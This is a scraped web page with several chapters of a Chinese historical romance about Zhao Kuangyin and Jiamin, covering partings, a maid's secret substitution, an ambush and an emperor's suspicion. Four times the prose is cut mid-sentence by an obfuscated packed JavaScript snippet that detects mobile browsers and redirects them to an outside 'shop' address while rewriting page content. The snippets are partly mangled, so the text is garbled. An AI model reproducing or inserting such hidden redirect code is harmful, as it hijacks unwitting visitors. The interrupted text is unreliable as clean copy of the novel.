石守信一个粗直汉子,对女子心思向来不大了解,当下伸伸胳膊踢踢腿,痞痞地道:“既然保仪都已经猜到了,哥儿几个也不装了。那太子妃娘娘的确美若天仙,哥儿几个嫌赶路太无聊,能天天看着个美人儿自然都是十分愿意的,你说是不是这个理啊?” 黄保仪气的不轻,怒道:“我江南太子妃何等尊贵,尔等竟敢如此出言轻薄?我回去定当如实禀明太子,看看那北朝的皇帝如何跟我们交代!” “你也得先回得去才行吧!”石守信冷冷道:“南汉的山匪可不管你是哪国的娘娘夫人,若不是我等,你还有命站在这里兴师问罪么?” 此话倒也不假,黄保仪无可反驳,只得恨恨离去。 眼见事情都已办妥,曦宁皇后返回寨中告知他们可以回去了,不过正赶上寨中一大户人家嫁女儿办婚宴,十里八乡都赶来看热闹,还有商贩带了不少东西来卖,赵匡胤干脆带着嘉敏留下来凑一凑这场热闹。 苗人的物件儿在中原很是少见,嘉敏瞧着新奇,只是真正喜欢的倒不多,直到她看见一对蓝色的瑟瑟指环。 那指环与她梦中的竟是一模一样,那卖指环的竟是梦里的药王婆婆。 而对方并不是要拿这对指环换钱,而是摆下擂台,谁能一口气喝完她所酿的十大碗酒,就算是赢家,可将指环赠予。 苗酒比之中原更加烈性,更何况这是药王婆婆酿的,连从小泡在酒缸里长大的苗家少年也喝不过三碗,直到赵匡胤上前。 他生性豪爽,又颇爱饮酒,一碗接一碗喝下去,竟是未曾上脸亦未曾上头,看呆了周围的苗人。不多时周围一片掌声,都希望他能喝到最后。 而赵匡胤不负众望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187896|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,果然喝下十碗苗酒。 药王婆婆信守诺言,将指环交给他,苍老的声音道:“这对指环只赠有情人,相恋的男女戴上它,不管多难,以后都能走到一起。我原本是想将它送给自己的情人,可他二十年前被刘鋹抓去,成了不全之人,我与他皆已无福再享受这世间情爱。我瞧公子和这位姑娘颇有眼缘,指环一旦戴上,除非将来变心,否则不可摘下来。” 赵匡胤与嘉敏对视一眼,握紧她的手道:“人生在世不过短短几十载春秋,我的爱意只有那么多,只够给一个人,我的心至死不变!” 药王婆婆淡淡道:“那这姑娘呢?是否和你有一样的决心?是否会因将来的困境放弃彼此的爱?是否会身不由己?” 嘉敏怔然不语,她此刻不正是身不由己么? 赵匡胤恐她忧虑,紧张道:“她的困境由我来解!” 却听嘉敏喃喃道:“若身不由己就能改变情之所钟,那我此刻岂非早已变心?” “但愿你能记得今日的话!”药王婆婆将指环套在他们的无名指上,低着头小声道:“赵公子,若有一日龙飞九天,莫忘了老身的仇还等着你来报!” 赵匡胤惊诧,只觉这婆婆和陈抟老祖竟是同一个路数,似有问卜天地之能,一时怅然之中又有些忧惧。 待见了陈抟老祖,将此事说与他听,那老道呵呵笑道:“可不就是和我一个路数的嘛!我等江湖术士不入你们的法眼,不过这药王婆婆的确是与我齐名之辈,我此番蹭南唐的车队而来,也是为了向她求一帖药。她倒是大方,不过这恩情将来也得由你替我还了!” 赵匡胤猜想药王婆婆所求无非是要将他将来帮忙杀刘鋹,倒也不怎么介意还情之事,只随意点点头。 事已办妥,两方人马也在同一天离开驿馆各自回返。黄保仪学乖了,让北朝的人打头,自己则跟在后面,确保来了山匪先打劫赵匡胤一行,己方多半能够保全。 而赵匡胤此番非但没有完成柴荣所交代之事,还借南唐护卫之手杀了何萧,虽已有对策,但难保万全。加上有意护佑嘉敏,故而一行人走的也不快。 到了南汉与南唐交界,赵匡胤一行打算借道川蜀再图北归,好巧不巧,南唐的车队又遇到了山匪。 赵匡胤掉头救出嘉敏,两个人拉着手跑到不远处的山丘上,对不远处的喊杀声充耳不闻,抚着她的脸颊低声道:“我……要走了!” 嘉敏认命地点头,这么多年,随时离别好像才是他们的宿命。 “此次不知会是一年两年,还是十年二十年……”赵匡胤皱眉,情知自己此番回返吉凶难料,叹息一声抵着嘉敏的额头柔声叮嘱:“别忘记我们的梦,好不好?” 嘉敏闭上眼幽幽道:“但愿下次的相聚不会再有别离!” 山匪去的很快,护卫很快找来,不得已赵匡胤又将嘉敏送回去,两个人在马车前分了手。 嘉敏忍着眼泪,上了车就倚着车厢无声啜泣,哭的一点力气也没有。 等了半晌,秋芙只得规劝道:“小姐你别哭了,赵公子已经走远了……” 话音甫落,外面乱糟糟的好像又来了山匪,车厢一沉,赵匡胤像风一样又钻了进来。 他什么话也没有说,只是将嘉敏抱在怀里,低下头吻她。 44.李代桃僵 嘉敏好似一株被雨打风摧的梨花在他怀里瑟瑟发抖,却未有丝毫抵抗,纤弱手臂抱紧他的脖颈,一次次的柔婉回应,难舍难离。 秋芙呆了片刻,红着脸背过身去,将帘帐揭开一角,见外面的“山匪”似乎露了馅儿,竟是石守信等人假扮的,慌忙道:“赵公子,你有什么话还是快些说吧,外面可能撑不了多久了!” 赵匡胤这才强迫自己停下来,试去嘉敏脸上的泪水低声道:“我的命握在你手里,此生你活一日,我便活一日,不管这滚滚红尘要折磨你我到何时,都一定要忍耐,好不好?” 嘉敏点头不止,感觉到他又在自己额头上留下一吻,就又像风一样自车中一跃而出,消失于烟尘之中。 “小姐,你手上的指环好像和赵公子戴的一模一样!”秋芙突然说道。 嘉敏将手握紧,此刻并没有心思讲出指环的来历,她的心之所向情之所钟全都寄托在这件信物上,此生此世都不会摘下来。 走了三个多月,回到金陵已是深秋。 面见钟氏皇后敬献了药方,照理说也算功德圆满,该嘉奖一番。 可待嘉敏梳洗更衣过后,到了皇后宫里,却不见一个笑脸,黄保仪也在一旁冷眼旁观。 嘉敏跪拜施礼,并未抬头去看,是以也不知道钟皇后面如寒霜,只听得那冰冷而威严的声音问道:“听说这一路你遇到了好几次山匪劫道,还有北朝的大将军站出来保护你?” 嘉敏虽有些吃惊,但料想此事藏不住,遂小声道:“是……是北朝的几位将军路过,搭救臣妾和保仪等人……” 钟皇后挑眉厉喝:“北朝乃我江南宿敌,因何会救你?” 嘉敏吓的伏地叩首颤声道:“臣妾不知!” “不知?”钟皇后冷哼一声:“保仪,你告诉她那些北朝人都说了些什么混账话,也教我们太子妃娘娘好好听听,她是如何名声在外!” 黄保仪应了一声,当下把石守信那日借口是瞧着嘉敏貌美,才一路跟随保护的话复述了一遍。 “原本只是如此倒也无甚大碍,毕竟太子妃娘娘这一路也很守规矩,很少露面,不小心被人瞧见了,也怪不得她。只是……”黄保仪面色一变,幽幽道:“那北朝将军之中,有一位模样很是俊俏,功夫也好。那些日子一直守在太子妃娘娘马车旁,一旦有山匪来袭就第一个站出来护佑娘娘,危急时刻还曾将娘娘抱在怀里。” 嘉敏自然知道她说的是赵匡胤,虽然一路上两人还算克制,可未必能瞒过黄保仪的眼,当下闭目连头也不敢抬。 钟皇后见她瑟瑟发抖的模样,以为是心虚,怒道:“你身为江南太子妃,舍去性命事小,怎可任由他人如此轻薄于你?” 嘉敏吓的全身都麻了,泣道:“臣妾知错……” “太子妃娘娘若是真的知错……”黄保仪语调一变,忽然道:“那么当日在南汉与江南交界之地,北朝之人原本已与我们分道扬镳,为何后来又扮作山匪前来劫道?又因何那位俊俏的将军会从娘娘的车中离开?” 嘉敏将手握紧,此刻方知当日之事竟被黄保仪看在眼里,怎奈她生性单纯,不知如何撒谎,竟是一个字也编不出来。 听到这里,钟皇后尚且不想给她定罪,问道:“嘉敏,那人是不是自行闯入你车中的?他有没有对你无礼?” 嘉敏想也不想地摇头,全然不曾想过自己否认的究竟是哪一个问题。 黄保怡瞧她窘迫,帮着解释道:“太子妃娘娘行事一直规矩,当是那人自行闯进去的。或者是他见色起意,太子妃娘娘无辜受害……” 钟皇后料想此话也甚为有理,再则又是自己派她前去求药,当下和颜悦色道:“嘉敏,事情是不是像保仪所说?若真如此,母后不会怪罪于你,从嘉面前也可以替你解释清楚。” 嘉敏想了想,摇头道:“没有什么见色起意,我们只是道别。” “道别?只是道别的话,需要这么大费周章,伪装成山匪劫道浑水摸鱼么?”钟皇后霍然起身,怒道:“你究竟是在路上和他暗生情愫还是早就相识?” 嘉敏这才惊觉自己的话里破绽太多,一个字也不敢再多说,只一味摇头。 孰不知这般反应在钟皇后眼里乃是刻意隐瞒,她走到嘉敏面前喝道:“你站起来!” 嘉敏不敢不从,被秋芙扶着颤颤巍巍站起身。 又听钟皇后道:“把头抬起来!”见她半晌不动,又爆喝一声:“抬起来——” 嘉敏打了一个冷颤,勉强抬头与她对视。 那楚楚可怜的模样连钟皇后也打动了,定了定神,问道:“你年纪尚轻,行事乖张一些,哀家和太子都能容忍。如今哀家只问你一件事,你和那北朝人之间有没有苟且?” 苟且是何意,嘉敏不甚懂得,想着大约是些男女之间的亲近之事,不由想起了梦里和赵匡胤曾几番云雨,道别之时也曾唇齿相接柔婉拥吻,竟鬼使神差地点了点头。 众人惊诧,钟皇后更是大怒,一巴掌打在她脸上骂道:“可怜从嘉对你一往情深,你竟是个不知廉耻的!那人何名何姓,在北朝任何官职,你且交代清楚,不然哀家定不饶你!” 嘉敏哪里肯说,忍着痛一阵摇头。 秋芙慌忙跪倒求饶:“皇后娘娘明鉴,这几个月我一直跟在小姐身边,那北朝将军的确是上了小姐的车,可他们之间什么都没有,就只是说了几句道别的话而已。娘娘所说之苟且,小姐根本不懂是什么意思。素日在家中时,夫人曾经交代过,若小姐听不懂皇后娘娘所言,就只管点头摇头。小姐素来胆小,大概是连自己该点头还是该摇头都不知道,请娘娘恕罪!”说罢又拜倒在地。 黄保仪上前道:“秋芙的话倒也可信,那北朝人并未在太子妃娘娘车上停留多久,也不足以发生什么苟且。” 钟皇后虽心中尚有疑惑,可毕竟什么证据都没有,也不必揪着不放,干脆找了个台阶下,“看来是哀家吓坏你了!你终究年少,派你去完成这等大事本也欠妥,好在平安归来,哀家和从嘉都松了口气。这些时日,从嘉一直惦记着你,哀家想着你也不必再回福济观了,就在宫里住着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196922|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从嘉得了空还可以去瞧你。你们毕竟是夫妻,分离太久恐会生分。” 嘉敏听罢呆呆的,却也不好说出自己想回福济观的事,只得领命回柔仪殿住着。 钟皇后那一巴掌打的颇重,嘉敏脸颊一片红肿,秋芙拿来冰袋给她冷敷,一边抱怨道:“小姐,就算你和赵公子之间有……那个……也算不得苟且,你怎么什么都胡乱承认呢?” 嘉敏痛的龇牙,皱眉道:“我不承认有什么用,别人也不会信我。” 当初她极力辩解自己没有背着姐姐勾引姐夫,不也没人信吗? 秋芙观其神色已然明白她是想起了旧事,柔声宽慰道:“当初太子写那首词大约也是想诉说对小姐的真切情意,可没想到却给你招了这么多骂名。都已经过去两年了,小姐,你就别往心里去了!” 李煜站在门外,将主仆二人的对话一字一句听在耳里,面上一片羞愧之色。 贴身太监李光大声道:“太子妃娘娘,太子来看你了!” 嘉敏惊惧,慌忙起身下拜,被李煜上前扶起来,又抬手摸着她红肿的脸颊柔声道:“听说你在母后宫中受责,可打疼你了?” “无事!”嘉敏避开他,还不自觉退后了一小步。 李煜的手摸了个空,怔然道:“嘉敏,这两年你受了不少冤屈,我一直都想补偿你,你可不可以给我机会?” 嘉敏摇头:“我没有受屈……” “我知道你什么都不会说的!”李煜若有所思,“赶了这么远的路,一定十分疲累,且休息两日,得空我再来看你。” 许是成婚以来二人一直疏离,嘉敏倒是没怎么把他的话放在心上。这两日在柔仪殿中足不出户,有螃蟹吃,还喝起了十月白。 只是那酒辛辣,一口下去喉咙似火烧一般,呛的她咳嗽不止。 秋芙嗔道:“小姐,你不能喝就别喝,这又是何苦?” “以往赵哥哥喝酒都是眉头也不皱一下,我看着有趣,就想自己试一试!”嘉敏说着,一边用丝帕擦拭额头上的汗珠。 秋芙掩嘴笑道:“赵公子是英雄好汉,小姐哪里能跟他比?我怕他听了这话也得笑破肚皮!” “他此刻大约还在路上吧!”嘉敏不喝酒了,拿起螃蟹来吃。 正琢磨着怎么拆开那螃脚,重华殿传来消息,说太子今晚要留宿柔仪殿中。 嘉敏听罢面色惨白,坐倒在地站不起来。 入夜,嘉敏沐浴过后早早在寝榻上躺下,秋芙走出来小声对李光道:“李公公,烦请禀告太子,小姐胆小,屋中的灯会提前灭掉,望太子怜惜,莫教她瞧见亮光。” 李光乃是良善之辈,将原话转述。 而李煜原本也知晓嘉敏的性情,就答允下来。 待他走入帐中,那只着寝衣躺好的女子正紧张地绞着手指,呼吸声很是急促。 李煜抚摸她的脸颊柔声道:“嘉敏,别怕,我会很小心的!” 床上之人闭上眼,感觉到男子的手轻轻解开她的衣带,而后俯下身与她肢体交叠在一起…… 45.虎啸龙吟 月照玉楼,声漏频促。 一夜绮梦令李煜有些疲累,他梦到了已仙逝两年的娥皇。 纵然白花飞蝶、紫玉成烟,旧时情意犹在,只是此刻他枕边人换成了嘉敏。 嘉敏不似她姐姐,一直娇娇怯怯的,昨晚还在偷偷的哭…… 李煜伸出手想去抱她,可嘉敏已经起床,坐在妆镜前慢慢梳着头,安静的像一幅仕女图。 天光微白,佳人独坐未免有些寂寞。 片刻,李煜下床自背后抱住她,“嘉敏,你年纪尚轻,不必太在意宫中的规矩,若是累了,也不必这么早就起身,有我在,不会有人说什么的。我还是希望看到你以前的模样,天真机敏,无忧无虑。” 嘉敏挣脱不得黛眉轻蹙小声道:“太子该去上朝了吧,莫误了时辰!” 察觉到她似有若无的躲闪,李煜想着大约还是不够熟悉,点头道:“我这便去,以后定会经常来你宫中,不会教你感觉受了冷落!” 嘉敏静默不言,给他穿好衣裳,系上玉带。 见她一直低眉垂首,李煜伸出手抬起她的下巴,侧头想要吻她,竟被闪避开。 李煜惊诧,却也不想太过逼迫她,微笑着摸摸她的脸颊就离开了。 见他出了门,嘉敏才松一口气,定了定神转身朝秋芙房中去。 昨晚两人合演了一场大戏,所幸未露出破绽,可秋芙却受了罪,虚弱地躺在床上,见了她来,依旧一脸笑意坐起身,“小姐,是太子走了么?” 嘉敏抱着她只是点头,半晌才道:“走了,秋芙,难为你了!” 秋芙眨眨眼,不待回话,陈抟老祖就来了,捻须道:“这李代桃僵之计也多亏有了秋芙姑娘,周二小姐才能脱身,的确是该好好感谢你!” 昨晚灭烛不许见光,也正是为了让秋芙代替嘉敏侍寝。此计乃是陈抟老祖所出,秋芙未曾犹豫就答应下来,她自幼随母亲逃难来到金陵,多亏周家收留才有活命的机会,再加上一直侍奉嘉敏,情谊深厚,能替嘉敏挡此劫难,亦是无怨无悔。 嘉敏喃喃道:“我只怕一个‘谢’字太轻,不足以弥补秋芙所受的伤。” 秋芙摇头笑道:“小姐,你当我是什么金尊玉贵的身子么?若非周家仁善,我的将来也不过是配一个不知人品如何的粗贱奴仆,而今侍奉的却是文雅多情的太子,整个金陵城也不知道有多少名门闺秀想要这份福气而不得,却被我捡了便宜,你怎会觉得是我吃亏?” 此话虽说是为了宽慰嘉敏之心,却也很实在。 陈抟老祖乐呵呵地道:“周二小姐,这就是你的不是了,秋芙姑娘对太子早已芳心暗许,你竟毫无察觉。若非老道推波助澜,她这一腔心绪尚不知要到何时才能得到回应。” “……”嘉敏愕然,见秋芙涨红了脸,心下才有些会意。 以李煜之雅俊风流,爱慕他的女子成千上万,只不过嘉敏一直心有所属,才不曾对其留意,若秋芙爱慕于他,倒也算是一件好事。 “若真如此,等将来找到机会,我求太子给你一个名分好不好?”嘉敏握住她的手,情辞恳切,似乎真的在想此事的可行性。 秋芙却有些惊慌,摇头道:“此事如若揭穿可是重罪,小姐你快打消这念头!” 陈抟老祖呵呵笑道:“将来之事难说的紧,倒也未必没有机会!” 这老神仙的话主仆二人还是有几分相信的,不过秋芙自己倒是没有太多奢望,幽幽道:“我只愿能够保全小姐和赵公子,好让他们早日破镜重圆,莫再受这别离之苦。” “说起赵公子……”陈抟老祖突然面带忧色,“他此番北返,祸福难料,老道需前去助他一臂之力才是。周二小姐,你身边有秋芙这等福星,不必担忧接下来的事。如若当真有难解之困局,不妨试试这个!” 说罢拿出一个青瓷瓶子,“这是我向南汉的药王婆婆求来的假死之药,共有三粒。事急从权,一粒便可假死七日。若服下两粒,就成了毒药,必死无疑,故而定要小心谨慎,但愿不会有用到它的那一天。” 嘉敏接过那假死之药小心翼翼收好,清柔的眼波里又泛起泪光:“老神仙,我此生与赵哥哥生死与共,若他有什么不测,烦请你告知于我,这绝命之药也算是你送给我们的最后的礼物了!” 陈抟老祖正色道:“周二小姐休要胡言,当心一语成谶!赵公子非福薄之辈,那柴荣未必克的了他。虎啸龙吟,风云激荡,都只是一时,相信过不了多久,必定雨霁风清四海承平。” 绕蜀地回北朝,崎路难行,到达汴京时乃是一个初春的寒雨之夜。 虽没有成功挑起南汉和江南之间的战争,可有曦宁皇后所赠的南汉城防全图,加上一封自辩折,托先行一步的王审琦递给柴荣,大约也是能扳回这一局的。 柴荣看罢果然大喜,又从王审琦口中问出了赵匡胤等人的行程,催促其快些回返见驾,还特意开恩嘱咐就算其深夜也必打开城门迎接。 可巧正是深夜进了汴京城,众人皆已离家一年多,约好明日再聚,便在大雨中分了手。 骑马奔走一阵,赵匡胤陡然发觉自己落了单。半生戎马倥偬,和兄弟们在一起的时间远超过家人,乍然分离,心下难免有些空落。 不过他原是豁达之辈,倒不如何伤感,比起来明日面圣才是吉凶难料。 柴荣英武多智,可自打登上帝位,疑心病一日重过一日,朝中大臣多有被其猜忌者。 此前他所中的那白羽丁香之毒,虽说并未有十足证据,可难保不是皇帝的手笔。如今的汴京城对他而言怕是与龙潭虎穴无异,行事当万般小心才是。 思虑间已策马转进了自家坊间,可就在那一瞬战马却突然遇袭,冷箭自四面八方射出,大雨中反应不及,人就跌下了马背。 杀手也跟着跳出来,数不清的刀枪剑戟甚至暗器对着他穷追猛打。 滂沱大雨中赵匡胤滚过一地泥泞,连眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14220613|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也有些睁不开,十多年征战沙场,早已到了临危不惧的地步,只想着能如何绝地求生。 一杆长枪擦着他的腰际将披风钉在地上,赵匡胤反手抓住枪杆扯破衣服站起来,挥出的长拳已将那持枪之人击飞。 在他所学的十八般兵器中,枪戟棍棒素来最为拿手。 见他一人一枪凛然而立,刺客竟都有些惊慌,看来这些人多少是听过他的威名。 不过迟疑也只在片刻,围杀的阵势很快形成,逃得过长枪避不开短剑,而且那使剑的两人配合相当有章法,像是已经在一起演练过无数遍。 不,是整个杀阵都像演练过无数遍的样子,专门为了克他!是以他从一开始就陷入了被动,枪法不比刀剑,走的是刚猛浑厚的路子,本就不适宜久战,这么多人轮番上前就能将他的体力消耗殆尽,更何况对方连消耗的方法都计算好了,可以说是滴水不漏。 是谁要如此截杀他,答案似乎并不难猜。 想到此赵匡胤只觉脊背发凉,今日这杀局怕是真的会要了他的命! 酣战数十回合,他已渐感体力不支,出手稍慢了些,左臂中了一剑,踉跄后撤,后背却又被飞来的流星锤砸中,鲜血登时从嘴里喷出来。 重创之下能勉力站稳已是不易,一名刀客飞身而来欲斩他右臂,却在兔起鹘落之间被他一枪穿胸而过。 拔出兵器的那一刻,温热的鲜血溅了他满脸,又被冷雨冲刷殆尽。今日之局左右不过一个死,如今的他已疲惫不堪,敌人却还有那么多,其实只要还手慢一些,大约很快就能结束了。 心念动摇之际,耳边却突然响起了陈抟老祖的话:“你和周二小姐的命是连在一起的,你活着她才能活!” 嘉敏——嘉敏还在江南等着他,他怎可对她食言,怎可将她孤孤单单地留在这残酷的人世间? 他的命是嘉敏以身试毒换来的,不是谁想要就有资格拿走! 夜雨中赵匡胤霍然抬眼,刺客料想他多半已无力还击,胆子也大了不少,一窝蜂冲上来。 赵匡胤仰头一声悲吟,竟被激出了无边杀意,枪过之处血肉横飞,也不知断送了多少条性命。 不知是否兄弟之间当真有些特殊的感应,石守信等人竟然一个个掉头寻来。 此刻杀手只剩下寥寥数人,已受了不知多少道伤的赵匡胤凭着残余的力气将其一一结果。 事了,手已经握不动长枪,人也倒在了尸体堆里。 “大哥——”石守信冲上前把他扶起来,大声喊他,可他却毫无知觉。 重伤之人已然濒死,大雨却毫无停歇之迹象,一众兄弟围过来,纷纷解开自己的蓑衣给他当头罩着。 杨小九乃是兄弟中最小的,也数他对这个结拜大哥最是粘腻,此刻更是心神大乱,吼道:“二哥,快救大哥,快救他呀——” 石守信喃喃道:“救……该怎么救……能摆出这阵仗杀大哥的人,除了皇帝还能有谁?” 46.吞云夺月 “黄鱼羹、猪里肉、蜜火腿、蒸小鸡、炒菠菜、雪里红——小姐,这些都是你爱吃的菜,我特地嘱咐厨房做的,你快尝尝。”秋芙把午膳端上来,笑吟吟地道。 不想嘉敏看了却直摇头,“今日二月初一,我该斋戒,吃观音素,等到十九日那天去庙里上香,在佛前点上长明灯,求菩萨保佑……” 话说到一半就禁了口,秋芙观其神色,小心翼翼地道:“保佑赵公子平安无事么?”见她低眉不语,又接着道:“自打陈抟老神仙走后,你就一直寝食难安,总想着赵公子是不是在北朝遭遇了什么凶险。可是小姐,这些无端的猜测于你无益啊!” “可我又能为赵哥哥做什么呢?”嘉敏黛眉颦蹙一脸愁容,“那北朝的皇帝想要杀他,他该如何自保?既然陈抟老神仙说他是天神下凡,我多去拜拜菩萨,看在都是神仙的份上,菩萨也不会不管他的是不是?” 秋芙心想着这怕不是魔怔了,却也不好规劝,只得道:“小姐说的是,赵公子福大命大造化大,那天上的大罗金仙也会护着他。 你要吃素我便跟着你吃素,和你一起拜菩萨,多一个人多一份力量,想来赵公子就算是遇到天大的麻烦,也必定能逢凶化吉平安无事的。” 嘉敏登时笑靥如花,“那就谢你吉言了!” 秋芙摇摇头,把荤菜全都撤下去,换成一桌素席,一边道:“赵公子乃是武将出身,定是喜欢吃肉的,若你以后和他在一起了,天天嚷着要吃素,那他岂不惨了?说起来太子倒是个爱吃素的,跟你凑桌还更容易一些!” 嘉敏委屈巴巴地撇嘴,“我一直当他是我姐夫来着,谁知道会发生这许多事?”片刻迟疑,恍似想明白了什么,问道:“秋芙,你……是不是……想见太子了?” “呃……”秋芙低垂着眉眼,想将心思隐藏起来。 只是这等相思情事,嘉敏怕是比她更懂得个中滋味,又哪里藏得住? 主仆二人相顾无言,若神明当真有灵的话,又是否能够成全有情人? …… 汴京城。 距离那一夜的刺杀已经过去整整十天,赵匡胤也从鬼门关中回返,可他遍身是伤,直到今日才能勉强下床。 兄弟们轮流在府上守着,以赵匡胤如今的身份,若非寻到由头,柴荣无法明着动他。 而朝中大臣听闻其重伤的消息,大部分人都很是关切,以为是北汉或者契丹所派的杀手为之。 这些年赵匡胤“北朝天将”的名头传的益发神乎其神,契丹和北汉对他很是忌惮,这才屡屡不敢进犯。如若他真遭遇什么不测,这朝中形势也就难说的紧。 此事柴荣看在眼里,一时竟也有些踌躇。 他本自有几分英明神武的气度,奈何却非天命所钟之辈,不过三十几岁的年纪就患上了不治之症,太医束手无策。 念及孩儿尚小,而朝中可依仗的肱骨之臣又多是文弱之辈,赵匡胤自然就成了心腹大患,一日不除,便一日难安。 可若除了赵匡胤,又无大将能抵抗北汉与契丹的军队,替他柴家来镇守山河,如此两难局面,着实难以抉择。 下朝后召见户部尚书王炎,此人与柴荣乃是姻亲,行事向来小心谨慎,从不结党营私,故而颇得圣心。 柴荣咳嗽几声,不无威严地问:“听说你那贵婿已经能下床了?” 以当晚截杀之惨烈,赵匡胤身上的重创至少有七八道。第二天王炎到府上探望之时也看的一清二楚,汴京城中名医几乎全都来看过,无一不是摇头了事。 这消息自然很快传递给了柴荣,只没想到短短数日情势竟然发生如此大的变化——赵匡胤非但没有丧命,而且恢复神速。 王炎不敢隐瞒,跪拜道:“回皇上的话,听说赵府来了一位鹤发童颜的道士,带来了灵丹妙药,赵将军只服下一粒就起死回生,想来大约命不该绝。” “哦?”柴荣心念微动,“那神仙人物如今可还在赵府?” “那老神仙神龙见首不见尾,救了赵将军之后就飘然远去了,无人知其踪迹。臣听说以后就派人去找,可惜竟无人见过那样一号人物,就像凭空消失了一样。”王炎不无遗憾地道。 柴荣软软地向椅背上一靠,心底冒出丝丝凉意,不过片刻冷哼一声道:“赵将军劫后余生,朕该恭喜他才是。来人,赐酒!” 历来皇帝所赐之御酒不是嘉奖,便是夺命。 王炎认命地闭上眼,这场婚事本就是皇帝授意,落不下什么好结果也在意料之中,只求莫要牵连王家才是。 大内总管亲自前去赐酒,赵家一屋子人战战兢兢,赵匡胤不要任何人搀扶,自行跪拜,身边的石守信和王审琦将拳头捏的咯咯作响。 这算什么,暗杀不成,要明着赐死? 眼见这毒酒就要端到面前,大内总管一脸奸邪笑意:“赵将军,请吧!” 赵匡胤冷着脸谢恩,也不顾兄弟阻拦,将那满满一壶酒尽数倾入喉中。 过了许久并无异样,大内总管的表情也是颇为玩味,怪腔怪调地道:“皇上知道赵将军爱喝蒲州酒,才特意赏下来的,滋味可好!” 原来这酒竟无毒!众人虚惊一场,也都松了口气。 “甚好!”赵匡胤面不改色,酒虽无毒,可他重伤之躯也不该如此豪饮,此刻五脏六腑宛若刀绞,好在尚且支撑得住。 大内总管去后,便张口吐血,被兄弟们七手八脚送回床上,有叫来大夫折腾一番。 夜半,柴荣又犯了病痛,浑浑噩噩中听闻有仙者夜访皇宫,遂挣扎着起身来见,那鹤发童颜的道士坐在御花园里喂一只白鹤。 “仙长救我!”柴荣上前拱手下拜。 陈抟老祖将他扶起,笑道:“皇上何必行此大礼?贫道听说你四处派人寻我,故而过来看看。”瞧着柴荣的脸色,直截了当道:“皇上已病入膏肓,是想向贫道求那回生之药?” 柴荣忙道:“朕听说你救了赵匡胤,那么必然也救得了朕!” 陈抟老祖叹息着摇头:“赵将军虽然伤势沉重,却不足以致命,因此才可得救。而皇上……此乃天命,老道无能为力呀!” “天命……”柴荣瞬间心灰意冷,愤然道:“你是说那天命钟情于赵匡胤,却不钟情于朕?” 陈抟老祖捻须道:“皇上聪慧多智,当比老道更明白何为天命所归!” 柴荣冷笑:“若那赵匡胤意欲夺朕之江山,朕便杀了他,看他还如何担这天命之责!” “你若杀了赵将军,只怕丢的就不止是江山了!”陈抟老祖意味深长地道:“昔日西周王朝遭犬戎入侵,俘虏幽王,他那王姬褒姒和小王子是何下场,皇上莫不是忘了?” 西周末,犬戎入侵,杀王子,掳褒姒,王朝至此而覆灭。难道这仙师竟在暗示自己若杀了赵匡胤,这大周王朝也将重蹈千年前之覆辙,国破家亡,连仅剩下那点骨血也未必保得住? 思至此,柴荣不觉冷汗涔涔而下,犹疑半晌问道:“仙师又如何知道,赵匡胤夺取江山之后不会斩草除根?” 陈抟老祖笑道:“赵将军是将才,亦是治世之才,皇上莫小瞧了他的智慧。杀了柴氏血脉,那叫弑君篡位;可若是柴氏下诏禅让,那叫退位让贤。两者之间的区别天差地远,柴氏子孙他非但不会杀,皇上手下的那批老臣他也不会动,此乃帝王心术,皇上深谙此道,应该不难想通。” 柴荣一番思虑喃喃道:“若朕是他,也决计不会动手弑君,反而会优待柴氏子孙。对于百姓而言,天下之位,仁者居之,他们并不关心是否改朝换代。如此收买人心的大好机会,以赵匡胤之心机深沉,岂会办砸?” “皇上圣明!天下乃天下人之天下,非一人之天下。将来谁主沉浮,能决断此事者,亦是天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14239991|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下人,不是么?”陈抟老祖说罢仰头大笑而去。 柴荣望着他的背影,手按在胸口喘了半晌,眸中泛出一股杀气。 等到白天里王炎进宫,直接被召去面圣。 见皇帝脸上露出一丝玩味笑意,暗自喟叹:“果然皇权之下,皆是蝼蚁!” 